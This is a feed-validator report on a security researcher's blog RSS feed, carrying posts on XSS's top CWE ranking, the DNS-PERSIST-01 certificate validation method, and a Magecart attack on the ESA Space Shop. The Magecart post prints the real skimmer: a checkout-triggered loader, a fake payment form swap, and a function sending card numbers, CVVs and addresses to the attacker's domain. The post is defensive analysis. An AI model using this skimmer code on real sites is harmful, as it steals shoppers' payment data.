Analysis of https://scotthelme.co.uk/rss/

Feed fetched in 59 ms.
Warning Content type is application/rss+xml; charset=utf-8, not text/xml or applicaton/xml.
Feed is 202,780 characters long.
Feed has an ETag of W/"31820-Gs4LEf/YOT/pnHeuFWTPwJ28xzk".
Warning Feed is missing the Last-Modified HTTP header.
Feed is well-formed XML.
Warning Feed has no styling.
This is an RSS feed.
Feed title: Scott Helme
Error Feed self link: https://scotthelme.ghost.io/rss/ does not match feed URL: https://scotthelme.co.uk/rss/.
Feed has an image at https://scotthelme.ghost.io/favicon.png.
Feed has 15 items.
First item published on 2026-03-10T14:21:27.000Z
Last item published on 2025-07-02T18:12:32.000Z
All items have published dates.
Newest item was published on 2026-03-10T14:21:27.000Z.
Home page URL: https://scotthelme.ghost.io/
Error Home page does not have a matching feed discovery link in the <head>.

1 feed links in <head>
  • https://scotthelme.ghost.io/rss/

  • Home page has a link to the feed in the <body>

    Formatted XML
    <?xml version="1.0" encoding="UTF-8"?>
    <rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/">
        <channel>
            <title><![CDATA[Scott Helme]]></title>
            <description><![CDATA[Hi, I'm Scott Helme, a Security Researcher, Entrepreneur and International Speaker. I'm the creator of Report URI and Security Headers, and I deliver world renowned training on Hacking and Encryption.]]></description>
            <link>https://scotthelme.ghost.io/</link>
            <image>
                <url>https://scotthelme.ghost.io/favicon.png</url>
                <title>Scott Helme</title>
                <link>https://scotthelme.ghost.io/</link>
            </image>
            <generator>Ghost 6.22</generator>
            <lastBuildDate>Fri, 13 Mar 2026 22:57:04 GMT</lastBuildDate>
            <atom:link href="https://scotthelme.ghost.io/rss/" rel="self" type="application/rss+xml"/>
            <ttl>60</ttl>
            <item>
                <title><![CDATA[XSS Ranked #1 Top Threat of 2025 by MITRE and CISA]]></title>
                <description><![CDATA[<p>Look who&apos;s back! After we completed 2024, XSS managed to get itself ranked as the #1 top threat of the year. I <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">wrote about that</a>, and at the end of the blog post I said &quot;<em>Let&apos;s make sure that XSS isn&apos;t #1 in</em></p>]]></description>
                <link>https://scotthelme.ghost.io/xss-ranked-1-top-threat-of-2025-by-mitre-and-cisa/</link>
                <guid isPermaLink="false">69af02a1fedfb90001b38825</guid>
                <category><![CDATA[XSS]]></category>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[CSP]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Tue, 10 Mar 2026 14:21:27 GMT</pubDate>
                <media:content url="https://scotthelme.ghost.io/content/images/2026/03/mitre-cisa.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2026/03/mitre-cisa.png" alt="XSS Ranked #1 Top Threat of 2025 by MITRE and CISA"><p>Look who&apos;s back! After we completed 2024, XSS managed to get itself ranked as the #1 top threat of the year. I <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">wrote about that</a>, and at the end of the blog post I said &quot;<em>Let&apos;s make sure that XSS isn&apos;t #1 in 2025!</em>&quot;... Well, I have some bad news...</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/03/image.png" class="kg-image" alt="XSS Ranked #1 Top Threat of 2025 by MITRE and CISA" loading="lazy" width="820" height="425" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/03/image.png 600w, https://scotthelme.ghost.io/content/images/2026/03/image.png 820w" sizes="(min-width: 720px) 720px"></figure><p></p><h4 id="looking-at-the-data">Looking at the data</h4><p>I wrote a whole bunch in that <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">previous blog post</a> about what the CVE program is and what CWE means, so if you want the background, you should definitely head there and read that post first. Here, I want to take a look at the data and see how things are going. Looking at the <a href="https://cwe.mitre.org/top25/archive/2025/2025_cwe_top25.html?ref=scotthelme.ghost.io#top25list" rel="noreferrer">list</a> of the Top 25 threat in 2025, and then downloading all of the <a href="https://www.cve.org/downloads?utm_source=scotthelme.co.uk" rel="noreferrer">raw data</a>, we can produce some details on the top threats. </p><p></p><table>
    <thead>
    <tr>
    <th>CWE ID</th>
    <th style="text-align:right">Vulnerabilities Caused</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>CWE-79</td>
    <td style="text-align:right">7,303</td>
    </tr>
    <tr>
    <td>CWE-89</td>
    <td style="text-align:right">3,758</td>
    </tr>
    <tr>
    <td>CWE-862</td>
    <td style="text-align:right">2,190</td>
    </tr>
    <tr>
    <td>CWE-352</td>
    <td style="text-align:right">1,682</td>
    </tr>
    <tr>
    <td>CWE-22</td>
    <td style="text-align:right">967</td>
    </tr>
    <tr>
    <td>CWE-121</td>
    <td style="text-align:right">827</td>
    </tr>
    <tr>
    <td>CWE-284</td>
    <td style="text-align:right">796</td>
    </tr>
    <tr>
    <td>CWE-78</td>
    <td style="text-align:right">748</td>
    </tr>
    <tr>
    <td>CWE-434</td>
    <td style="text-align:right">744</td>
    </tr>
    <tr>
    <td>CWE-120</td>
    <td style="text-align:right">732</td>
    </tr>
    <tr>
    <td>CWE-200</td>
    <td style="text-align:right">703</td>
    </tr>
    <tr>
    <td>CWE-125</td>
    <td style="text-align:right">653</td>
    </tr>
    <tr>
    <td>CWE-416</td>
    <td style="text-align:right">642</td>
    </tr>
    <tr>
    <td>CWE-502</td>
    <td style="text-align:right">619</td>
    </tr>
    <tr>
    <td>CWE-77</td>
    <td style="text-align:right">550</td>
    </tr>
    <tr>
    <td>CWE-20</td>
    <td style="text-align:right">516</td>
    </tr>
    <tr>
    <td>CWE-122</td>
    <td style="text-align:right">513</td>
    </tr>
    <tr>
    <td>CWE-787</td>
    <td style="text-align:right">500</td>
    </tr>
    <tr>
    <td>CWE-918</td>
    <td style="text-align:right">483</td>
    </tr>
    <tr>
    <td>CWE-476</td>
    <td style="text-align:right">478</td>
    </tr>
    <tr>
    <td>CWE-94</td>
    <td style="text-align:right">468</td>
    </tr>
    <tr>
    <td>CWE-863</td>
    <td style="text-align:right">409</td>
    </tr>
    <tr>
    <td>CWE-639</td>
    <td style="text-align:right">362</td>
    </tr>
    <tr>
    <td>CWE-306</td>
    <td style="text-align:right">356</td>
    </tr>
    <tr>
    <td>CWE-770</td>
    <td style="text-align:right">317</td>
    </tr>
    <tr>
    <td><strong>Total</strong></td>
    <td style="text-align:right"><strong>43,473</strong></td>
    </tr>
    </tbody>
    </table>
    <p></p><p>Sadly, as we can see, we still have quite a lot of work to do on this front as XSS (CWE-79) continues to absolutely dominate the rankings! Not only was it the top threat, nothing else even came close.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/03/image-1.png" class="kg-image" alt="XSS Ranked #1 Top Threat of 2025 by MITRE and CISA" loading="lazy" width="1000" height="530" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/03/image-1.png 600w, https://scotthelme.ghost.io/content/images/2026/03/image-1.png 1000w" sizes="(min-width: 720px) 720px"></figure><p></p><h4 id="looking-further-back">Looking further back</h4><p>Given that the entire archive of the Top 25 is <a href="https://cwe.mitre.org/top25/archive/?ref=scotthelme.ghost.io" rel="noreferrer">available</a>, I thought I&apos;d take a look at how XSS performed over all the years we have data, back as far as 2010(!), and it&apos;s not filling me with confidence.</p><p></p><table>
    <thead>
    <tr>
    <th>Year</th>
    <th style="text-align:right">XSS Rank</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>2026</td>
    <td style="text-align:right">#1 (so far!)</td>
    </tr>
    <tr>
    <td>2025</td>
    <td style="text-align:right">#1</td>
    </tr>
    <tr>
    <td>2024</td>
    <td style="text-align:right">#1</td>
    </tr>
    <tr>
    <td>2023</td>
    <td style="text-align:right">#2</td>
    </tr>
    <tr>
    <td>2022</td>
    <td style="text-align:right">#2</td>
    </tr>
    <tr>
    <td>2021</td>
    <td style="text-align:right">#2</td>
    </tr>
    <tr>
    <td>2020</td>
    <td style="text-align:right">#1</td>
    </tr>
    <tr>
    <td>2019</td>
    <td style="text-align:right">#2</td>
    </tr>
    <tr>
    <td>2011</td>
    <td style="text-align:right">#4</td>
    </tr>
    <tr>
    <td>2010</td>
    <td style="text-align:right">#1</td>
    </tr>
    </tbody>
    </table>
    <p></p><p>As far back as the data goes, we have seen that XSS is consistently a top ranked threat, never having the left the <strong><em>Top 4</em></strong>!</p><p></p><h4 id="detecting-and-mitigating-xss">Detecting and Mitigating XSS</h4><p>Regular readers will know by now that Content Security Policy provides for an effective mechanism to protect against XSS. Our sole purpose at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> is to help organisations deploy a strong CSP to their website and to monitor for signs of trouble should they arise. We have a whole heap of resources to get you started, so head on over to start a free trial and reach out if you need any support getting going.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2026/03/report-uri---wide.png" class="kg-image" alt="XSS Ranked #1 Top Threat of 2025 by MITRE and CISA" loading="lazy" width="974" height="141" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/03/report-uri---wide.png 600w, https://scotthelme.ghost.io/content/images/2026/03/report-uri---wide.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>I have my fingers crossed that we might be able to do something to stop XSS becoming the #1 Top Threat of 2026, but given it already has twice the number of vulnerabilities than its closest competitor, we&apos;d best get started on making some progress soon!</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[DNS-PERSIST-01; Handling Domain Control Validation in a short-lived certificate World]]></title>
                <description><![CDATA[<p>This year, we have a new method for Domain Control Validation arriving called DNS-PERSIST-01. It is quite a fundamental change from how we do DCV now, so let&apos;s take a look at the benefits and the drawbacks.</p><p></p><h4 id="first-a-quick-recap">First, a quick recap</h4><p>When you approach a Certificate Authority, like</p>]]></description>
                <link>https://scotthelme.ghost.io/dns-persist-01-handling-domain-control-validation-in-a-short-lived-certificate-world/</link>
                <guid isPermaLink="false">6960bdfda2de7d0001fa2984</guid>
                <category><![CDATA[DCV]]></category>
                <category><![CDATA[DNS-PERSIST-01]]></category>
                <category><![CDATA[Certificate Authorities]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 09 Feb 2026 17:55:16 GMT</pubDate>
                <media:content url="https://scotthelme.ghost.io/content/images/2026/01/dns-persist-01.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2026/01/dns-persist-01.webp" alt="DNS-PERSIST-01; Handling Domain Control Validation in a short-lived certificate World"><p>This year, we have a new method for Domain Control Validation arriving called DNS-PERSIST-01. It is quite a fundamental change from how we do DCV now, so let&apos;s take a look at the benefits and the drawbacks.</p><p></p><h4 id="first-a-quick-recap">First, a quick recap</h4><p>When you approach a Certificate Authority, like Let&apos;s Encrypt, to issue you a certificate, you need to complete DCV. If I go to Let&apos;s Encrypt and say &quot;I own <code>scotthelme.co.uk</code> so please issue me a certificate for that domain&quot;, Let&apos;s Encrypt are required to say &quot;prove that you own <code>scotthelme.co.uk</code> and we will&quot;. That is the very essence of DCV, the CA needs to <em><strong>V</strong>alidate</em> that I do <em><strong>C</strong>ontrol</em> the <em><strong>D</strong>omain</em> in question. We&apos;re not going to delve in to the details, but it will help to have a brief understanding of the existing DCV mechanisms so we can see their shortcomings, and compare those to the potential benefits of the new mechanism.</p><p></p><h4 id="http-01">HTTP-01</h4><p>In order to demonstrate that I do control the domain, Let&apos;s Encrypt will give me a specific path on my website that I will host a challenge response. </p><pre><code>http://scotthelme.co.uk/.well-known/acme-challenge/3wQfZp0K4lVbqz6d1Jm2oA</code></pre><p></p><p>At that location, I will place the response which might look something like this.</p><pre><code>3wQfZp0K4lVbqz6d1Jm2oA.P7m1k2Jf8h...b64urlThumbprint...</code></pre><p></p><p>By challenging me to provide this specific response at this specific URL, I have demonstrated to Let&apos;s Encrypt that I have control over that web server, and they can now proceed and issue me a certificate. </p><p>The problem with this approach is that it requires the domain to be publicly resolvable, which it might not be, and the system requiring the certificate needs to be capable of hosting web content. Even I have a variety of internal systems that I use certificates on that are not publicly addressable in any way, so I use the next challenge method for them, but HTTP-01 is a great solution if it works for your requirements.</p><p></p><h4 id="dns-01">DNS-01</h4><p>Using the DNS-01 method, Let&apos;s Encrypt still need to verify my control of the domain, but the process changes slightly. We&apos;re now going to use a DNS TXT record to demonstrate my control, and it will be set on a specific subdomain.</p><pre><code>_acme-challenge.scotthelme.co.uk</code></pre><p></p><p>The format of the challenge response token changes slightly, but the concept remains the same and I will set a DNS record like so:</p><pre><code>Name:  _acme-challenge.scotthelme.co.uk
    Type:  TXT
    Value: &quot;X8d3p0ZJzKQH4cR1N2l6A0M9mJkYwqfZkU5c9bM2EJQ&quot;</code></pre><p></p><p>Upon completing a DNS resolution and seeing that I have successfully set that record at their request, Let&apos;s Encrypt can now issue the certificate as I have demonstrated control over the DNS zone. This is far better for my internal environments, and is the method I use, as all they need to do is hit my DNS providers API to set the record and they can they pull the certificate locally, without having any exposure on the public Internet. The DNS-01 mechanism is also required if you want to issue wildcard certificates, which can&apos;t be obtained with HTTP-01. </p><p></p><h4 id="tls-alpn-01">TLS-ALPN-01</h4><p>The final mechanism, which is much less common, requires quite a dynamic effort from the host. The CA can connect to the host on port 443, and advertise a special capability in the TLS handshake. The host at <code>scotthelme.co.uk:443</code> must be able to negotiate that capability, and then generate and provide a certificate with the critically flagged <code>acmeIdentifier</code> extension containing the challenge response token, and the correct names in the SAN.</p><p>That&apos;s no small task, so I can see why this mechanism is much less common, but it does have different considerations than HTTP-01 or DNS-01 so if it works for you, it is available. </p><p></p><h4 id="in-summary">In summary</h4><p>All 3 of those mechanisms are currently valid for DCV, and in essence they provide the following:</p><p>HTTP-01 &#x2192; prove control of web content<br>DNS-01 &#x2192; prove control of DNS zone<br>TLS-ALPN-01 &#x2192; prove control of TLS endpoint</p><p></p><h4 id="looking-to-the-future">Looking to the future</h4><p>I think the considerations for each of those mechanisms are clear, with both HTTP-01 and DNS-01 being favoured, and TLS-ALPN-01 trailing behind. Being able to serve web content on the public Internet, or having access and control to a DNS zone, are both quite big requirements that require technical consideration. Don&apos;t get me wrong, DCV should not be &apos;easy&apos;, especially when you think about the risks involved with DCV not being done properly or not being effective, but I also understand the difficulties where neither of those mechanisms are quite right for a particular environment and that they come with their own considerations, especially at large scale! </p><p>Another challenge to consider is the continued drive to reduce the lifetime of certificates. You can see my <a href="https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io" rel="noreferrer">blog post</a> on how all certificates will be reduced to a maximum of 47 days by 2029, and how Let&apos;s Encrypt are already offering <a href="https://scotthelme.co.uk/lets-encrypt-to-offer-6-day-certificates/?ref=scotthelme.ghost.io" rel="noreferrer">6-day certificates</a> now, which is a great things for security, but it does need considering. A CA can verify your control of a domain and remember that for a period of time, continuing to issue new certificates against that previous demonstration of DCV, but the time periods they can be re-used for is also reducing. Here&apos;s a side-by-side comparison of the certificate maximum lifetime, and the DCV re-use periods.</p><p></p><table>
    <thead>
    <tr>
    <th>Year</th>
    <th>Certificate Lifetime</th>
    <th>DCV Re-use Window</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>Now</td>
    <td>398 days</td>
    <td>398 days</td>
    </tr>
    <tr>
    <td>2026</td>
    <td>200 days</td>
    <td>200 days</td>
    </tr>
    <tr>
    <td>2027</td>
    <td>100 days</td>
    <td>100 days</td>
    </tr>
    <tr>
    <td>2029</td>
    <td>47 days</td>
    <td>10 days</td>
    </tr>
    </tbody>
    </table>
    <p></p><p>By 2029, DCV will be coming close to being a real-time endeavour. Now, as ACME requires automation, the shortening of certificate lifetime or the DCV re-use window is not really a concern, you simply run your automated task more frequently, but the more widespread use of certificates does pose a challenge. As we use certificates in more and more places, the overheads of the DCV mechanisms become more problematic in different environments.</p><p></p><h4 id="dns-persist-01">DNS-PERSIST-01</h4><p>This new DCV mechanism is a fundamental change in the approach to how DCV takes place, and does offer some definite advantages, whilst also introducing some concerns that are worth thinking about. </p><p>The primary objective here is to set a single, <em>static</em>, DNS record that will allow for continued issuance of new certificates on an ongoing basis for as long as it is present, hence the &apos;persist&apos; in the name.</p><pre><code>Name:  _acme-persist.scotthelme.co.uk
    Type:  TXT
    Value: &quot;letsencrypt.org; accounturi=https://letsencrypt.org/acme/acct/123456; policy=wildcard&quot;</code></pre><p></p><p>By setting this new DNS record, I would be allowing Let&apos;s Encrypt to issue new certificates using my ACME account specified in the above URL as account ID <code>123456</code>. Let&apos;s Encrypt will still need to conduct DCV by checking this DNS record, but, any of my clients requesting a certificate will not have to answer any kind of dynamic challenge. There is no need to serve a HTTP response, no need to create a new DNS record, and no need to craft a special TLS handshake. The client can simply hit the Let&apos;s Encrypt API, use the correct ACME account, and have a new certificate issued. This does allow for a huge reduction in the complexity of having new certificates issued, and I can see many environments where this will be greatly welcomed, but we&apos;ll cover a few of my concerns a little later.</p><p>Looking at the DNS record itself, we have a couple of configuration options. The <code>policy=wildcard</code> allows the CA and ACME account in question to issue wildcard certificates, it the policy directive is missing, or set to anything other than <code>wildcard</code>, then wildcard certificates will not be allowed. The other configuration value, which I didn&apos;t show above, is the <code>persistUntil</code> value.</p><pre><code>Name:  _acme-persist.scotthelme.co.uk
    Type:  TXT
    Value: &quot;letsencrypt.org; accounturi=https://letsencrypt.org/acme/acct/123456; policy=wildcard; persistUntil=1767959300&quot;</code></pre><p></p><p>This value indicates that this record is valid until Fri Jan 09 2026 11:48:20 GMT+0000, and should not be accepted as valid after that time. This does allow us to set a cap on how long this validation will be accepted for, and addresses one of my concerns. The specification states:</p><blockquote>   *  Domain owners should set expiration dates for validation records<br>      that <strong>balance security and operational needs</strong>.</blockquote><p></p><p>My personal approach would be something like having an automated process to refresh this record on a somewhat regular basis, and perhaps push the <code>persistUntil</code> value out by two weeks, updated on a weekly basis. Something about just having a permanent, static record doesn&apos;t sit well with me. There are also the concerns around securing the ACME account credentials because any access to those will then allow for issuance of certificates, without any requirement for the person who obtains them to do any &apos;live&apos; form of DCV. </p><p>In short, I can see the value that this mechanism will provide to those that need it, but I can also see it being used far more widely as a purely convenience solution to what was a relatively simple process anyway.</p><p></p><h4 id="coming-to-a-ca-near-you">Coming to a CA near you</h4><p>Let&apos;s Encrypt have <a href="https://letsencrypt.org/2025/12/02/from-90-to-45?ref=scotthelme.ghost.io#making-automation-easier-with-a-new-dns-challenge-type" rel="noreferrer">stated</a> that they will have support for this in 2026, and I imagine it won&apos;t take too much longer for other CAs to start supporting this mechanism too. I&apos;m hoping that GTS will also bring in support soon so we can have a pair of reliable CAs to lean on! For now though, just know that if the existing DCV mechanisms are problematic for you, there might be a solution just around the corner.</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[The European Space Agency got hacked, and now we own the domain used!]]></title>
                <description><![CDATA[<p>It&apos;s not often that two of my interests align so well, but we&apos;re talking about space rockets and cyber security! Whilst Magecart and Magecart-style attacks might not be the most common attack vector at the moment, they are still happening with worrying frequency, and they are</p>]]></description>
                <link>https://scotthelme.ghost.io/the-european-space-agency-got-hacked-and-now-we-own-the-domain-used/</link>
                <guid isPermaLink="false">697b755b03d4840001b00ed8</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[javascript]]></category>
                <category><![CDATA[magecart]]></category>
                <category><![CDATA[European Space Agency]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 02 Feb 2026 13:01:53 GMT</pubDate>
                <media:content url="https://scotthelme.ghost.io/content/images/2026/01/esa-blog.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2026/01/esa-blog.webp" alt="The European Space Agency got hacked, and now we own the domain used!"><p>It&apos;s not often that two of my interests align so well, but we&apos;re talking about space rockets and cyber security! Whilst Magecart and Magecart-style attacks might not be the most common attack vector at the moment, they are still happening with worrying frequency, and they are still catching out some pretty big organisations...</p><p></p><h4 id="mage-who">Mage-who? </h4><p>I&apos;ve talked about Magecart a <a href="https://scotthelme.co.uk/tag/magecart/?ref=scotthelme.ghost.io" rel="noreferrer">lot</a>, and they&apos;ve posed a significant threat now for almost a decade. The term really gained popularity during 2015-2016 when apparently independent groups of hackers were targeting online e-commerce stores with the goal of stealing huge quantities of payment card data. The primary target was Magento shopping carts (Magento-cart, Magecart) and the goal was for the attackers to find a way to inject JavaScript into the site by any means possible. They could then skim credit card data as it was entered into the site and exfiltrate it to a server controlled by the attackers for later use. Because the victim is typing in the full card number, expiry date, security code, and more, these attacks would yield incredibly valuable data to the attackers and often leave absolutely no visible trace on the website that was breached. Given the perfect alignment with what we do at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, we have a <a href="https://report-uri.com/solutions/magecart_protection?ref=scotthelme.ghost.io" rel="noreferrer">dedicated Solutions page for Magecart</a> with details on how we can help combat this problem if you&apos;d like more information, and our <a href="https://report-uri.com/case_studies?ref=scotthelme.ghost.io" rel="noreferrer">Case Studies</a> page details some pretty big organisations that have been stung by Magecart like British Airways and Ticketmaster.</p><p></p><h4 id="the-european-space-agency">The European Space Agency</h4><p>Just like all of the organisations that have been targeted before them, the attack against the ESA followed the same reliable pattern. We don&apos;t always get to understand the particular vulnerability that was exploited to inject the malicious JavaScript into the page, and often we just get to observe the result, which is that the malicious JavaScript is present in the page. The JavaScript is also reliably simple, and often just a bootstrap for a larger attack payload that is only triggered in specific circumstances.</p><p></p><pre><code class="language-html">&lt;script&gt;
      if (document.location.href.includes(&quot;checkout&quot;)){
        var jqScript = document.createElement(&apos;script&apos;);
        jqScript.setAttribute(&apos;src&apos;,&apos;https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.js&apos;);
        document.addEventListener(&quot;DOMContentLoaded&quot;, function(){
        document.body.appendChild(jqScript);
        });
      }
    &lt;/script&gt;</code></pre><p></p><p>Following that same reliable pattern, you can see here that the first thing the injected payload was doing was to check if the URL of the current page includes <code>checkout</code>. In order to minimise their footprint, the attackers will only trigger their payload on pages that are going to contain the data they want to steal, and these triggers will be updated to match the target site. You can see this Internet Archive <a href="https://web.archive.org/web/20241223153137/https://www.esaspaceshop.com/" rel="noreferrer">link</a> to the ESA Space Shop that contains the above injection in the page.</p><p>Looking at the payload, you can see that once it triggers on the checkout page, it&apos;s acting as a bootstrap for the real attack payload that is going to be loaded and is imitating jQuery.</p><p></p><pre><code>https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.js</code></pre><p></p><p>This payload, whilst a little larger, is still painfully simple and has some very clear objectives. </p><p></p><pre><code>var espaceStripeHtml = &quot;*snip*&quot;;
    var cookieName = &quot;6b2ad00bbd228ca0f23879b1e050f03f&quot;;
    
    function setCustomCookie(){
    	localStorage.setItem(&quot;customCookie&quot;, cookieName);
    }
    
    function isCustomCookieSet(){
    	if (localStorage.getItem(&quot;customCookie&quot;)){
    		return true;
    	}
    	else{
    		return false;
    	}
    }
    
    
    if (!isCustomCookieSet()){
    	setInterval(function(){
    		if (jQuery(&quot;#payment-confirmation-true&quot;).length === 0 &amp;&amp; jQuery(&quot;#stripe_stripe_checkout&quot;).length !== 0){
    			var paymentButtonOrig = jQuery(&quot;#stripe_stripe_checkout&quot;).find(&quot;button[type=&apos;submit&apos;]&quot;)[0];
    			jQuery(paymentButtonOrig).attr(&quot;id&quot;, &quot;payment-confirmation&quot;);
    			var paymentButtonClone = jQuery(paymentButtonOrig).clone(false).unbind();
    			jQuery(paymentButtonClone).attr(&quot;id&quot;, &quot;payment-confirmation-true&quot;);
    			jQuery(paymentButtonClone).attr(&quot;type&quot;, &quot;button&quot;);
    			jQuery(paymentButtonClone).removeAttr(&quot;data-bind&quot;);
    			jQuery(paymentButtonClone).removeAttr(&quot;disabled&quot;);
    			jQuery(paymentButtonClone).insertBefore(paymentButtonOrig);
    			jQuery(&quot;#payment-confirmation&quot;).hide();
    			
    			jQuery(paymentButtonClone).on(&quot;click&quot;, function(){
    				//parse address
    				var checkoutCfg = window.checkoutConfig;
    				var addressObject = checkoutCfg[&apos;shippingAddressFromData&apos;];
    				
    				if (addressObject !== undefined){
    					var fName = addressObject[&apos;firstname&apos;];
    					var lName = addressObject[&apos;lastname&apos;];
    					var address = addressObject[&apos;street&apos;][0];
    					var country = addressObject[&apos;country_id&apos;];
    					var zip = addressObject[&apos;postcode&apos;];
    					var city = addressObject[&apos;city&apos;];
    					var state = addressObject[&apos;region&apos;];
    					var phone = addressObject[&apos;telephone&apos;];
    				}
    				else{
    					var fName = jQuery(&quot;input[name=&apos;firstname&apos;]&quot;).val();
    					var lName = jQuery(&quot;input[name=&apos;lastname&apos;]&quot;).val();
    					var address = jQuery(&quot;input[name=&apos;street[0]&apos;]&quot;).val();
    					var country = jQuery(&quot;select[name=&apos;country_id&apos;] option:selected&quot;).val();
    					var zip = jQuery(&quot;input[name=&apos;postcode&apos;]&quot;).val();
    					var city = jQuery(&quot;input[name=&apos;city&apos;]&quot;).val();
    					var state = jQuery(&quot;select[name=&apos;region_id&apos;] option:selected&quot;).attr(&quot;data-title&quot;);
    					var phone = jQuery(&quot;input[name=&apos;telephone&apos;]&quot;).val();
    				}
    				
    				var price = parseFloat(checkoutCfg[&apos;totalsData&apos;][&apos;base_grand_total&apos;]).toFixed(2);
    				
    				if (fName !== &quot;&quot; &amp;&amp; lName !== &quot;&quot;){
    					var espaceStripeHtmlClear = decodeURI(atob(espaceStripeHtml));
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{GRAND_TOTAL}&quot;, price);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{EMAIL}&quot;, checkoutCfg[&apos;validatedEmailValue&apos;]);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{fName}&quot;, fName);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{lName}&quot;, lName);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{address}&quot;, address);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{country}&quot;, country);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{state}&quot;, state);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{zip}&quot;, zip);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{city}&quot;, city);
    					espaceStripeHtmlClear = espaceStripeHtmlClear.replaceAll(&quot;{phone}&quot;, phone);
    					
    					document.write(espaceStripeHtmlClear);
    				}
    				else{
    					jQuery(&quot;#payment-confirmation&quot;).click();
    				}
    			});
    		}
    	}, 100);
    }
    }</code></pre><p></p><p>I&apos;ve snipped the content of the first variable as it&apos;s massive, but I will link to all of the relevant payloads below. Looking through the script, we can summarise the following steps to the attack.</p><ol><li>The first thing the attackers do is check if they have already stolen the payment card details for this user... The <code>setCustomCookie()</code> function, which doesn&apos;t actually set a cookie but writes to <code>localStorage</code>, is called later when the attack succeeds and is checked with <code>isCustomCookieSet()</code>. I guess there is no point in increasing your exposure and risk of detection by stealing the same information from the same user multiple times.</li><li>If the payment card details for this user have not been stolen, the script uses <code>setInterval()</code> to create a fast-polling loop to detect the presence of the Stripe payment container on the page.</li><li>Once the payment container has loaded, the real &apos;checkout&apos; button is identified, disabled and then hidden. A clone is then inserted to replace it so the user will now click the attacker&apos;s button instead. </li><li>Clicking the attacker&apos;s button will trigger the email, name, address, total value and other information on the page to be recorded, and then the page is swapped for a fake payment page asking for card details. This fake payment page is populated with all of the correct information recorded before the page was swapped. If the attackers detect a problem with the attack and they can&apos;t record the details to pass through to their fake payment page, they send the user through the normal checkout process. This is likely another method to avoid detection by not breaking the checkout flow. </li><li>The final step of the attack is to exfiltrate the payment card data that was inserted into the fake payment form by the user. This uses a traditional image tag with the stolen data base64 encoded as a query string parameter to be deposited on a drop server. </li></ol><p></p><p>You can view the full Magecart payload on this <a href="https://pastebin.com/KPXai359?ref=scotthelme.ghost.io" rel="noreferrer">paste here</a>, including the fake base64 encoded payment page, and the Internet Archive have a copy of the payload for reference <a href="https://web.archive.org/web/20241223153153/https://esaspaceshop.pics/assets/esaspaceshop/jquery.min.js" rel="noreferrer">here</a>. PasteBin won&apos;t allow me to upload the malicious payload that performs the data exfiltration, but here is the pertinent function. </p><p></p><pre><code class="language-javascript">function makePayment(){
    		setCustomCookie();
    		var ccNum = ccnumE.value.replaceAll(&quot; &quot;, &quot;&quot;);
    		var expM = parseInt(ccexpE.value.split(&apos; / &apos;)[0]);
    		var expY = parseInt(ccexpE.value.split(&apos; / &apos;)[1]);
    		var cvv = parseInt(cccvvE.value);
    		
    		var resultString = ccNum   &quot;;&quot;   expM   &quot;;&quot;   expY   &quot;;&quot;   cvv   &quot;;&quot;   FName   &quot;;&quot;   LName   &quot;;&quot;   Address   &quot;;&quot;   Country   &quot;;&quot;   Zip   &quot;;&quot;   State   &quot;;&quot;   city   &quot;;&quot;   phone   &quot;;&quot;   shop;
    		
    		var resultImg = document.createElement(&quot;img&quot;);
    		resultImg.src = &quot;https://esaspaceshop.pics/redirect-non-site.php?datasend=&quot;   btoa(resultString);
    		resultImg.hidden = true;
    		document.body.appendChild(resultImg);
    		
    		//show error
    		alert(&quot;Card number is incomplete, please try again&quot;);
    		window.location.reload();
